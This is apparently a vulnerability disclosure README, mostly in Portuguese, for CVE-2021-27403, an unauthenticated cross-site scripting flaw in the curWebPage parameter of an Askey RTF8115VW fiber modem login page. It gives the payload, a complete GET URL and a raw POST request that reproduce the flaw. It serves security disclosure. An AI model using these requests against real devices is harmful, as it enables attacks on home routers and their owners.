bokanrb/cve-2021-27403XSS-Askey
Cross-Site Scripting NÃO AUTENTICADO - Modem de Fibra Askey
Fabricante: Askey
Versão do Software: BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modelo: RTF8115VW
Parâmetro Vulnerável: curWebPage
Payload: ";alert('xss')//
Não testado em outros modelos/versões.
Via solicitação GET
Na solicitação de login, podemos emitir uma solicitação GET:
http://x.x.x.x/cgi-bin/te_acceso_router.cgi?curWebPage=/settings-internet.asp";alert('xss')//&loginUsername=admin&loginPassword=admin
Os parâmetros Username e Password não precisam ser válidos.
Via solicitação POST
1) Setup your Proxy (Burp / ZAP / whatever) to intercept the Login request
2) Input the payload after the .asp page used by the curWebPage param
3) Forward the Request
A Solicitação Final
POST /cgi-bin/te_acceso_router.cgi HTTP/1.1
Host: x.x.x.x
Origin: http://x.x.x.x
Cookie: _httpdSessionId_=ece9eb5b733f7cbc8198ce9b6ab995c2
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/login.asp
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Content-Length: 35
curWebPage=%2Fsettings-firewall.asp+payload
<!---curWebPage=%2Fsettings-firewall.asp";alert('xss')//--->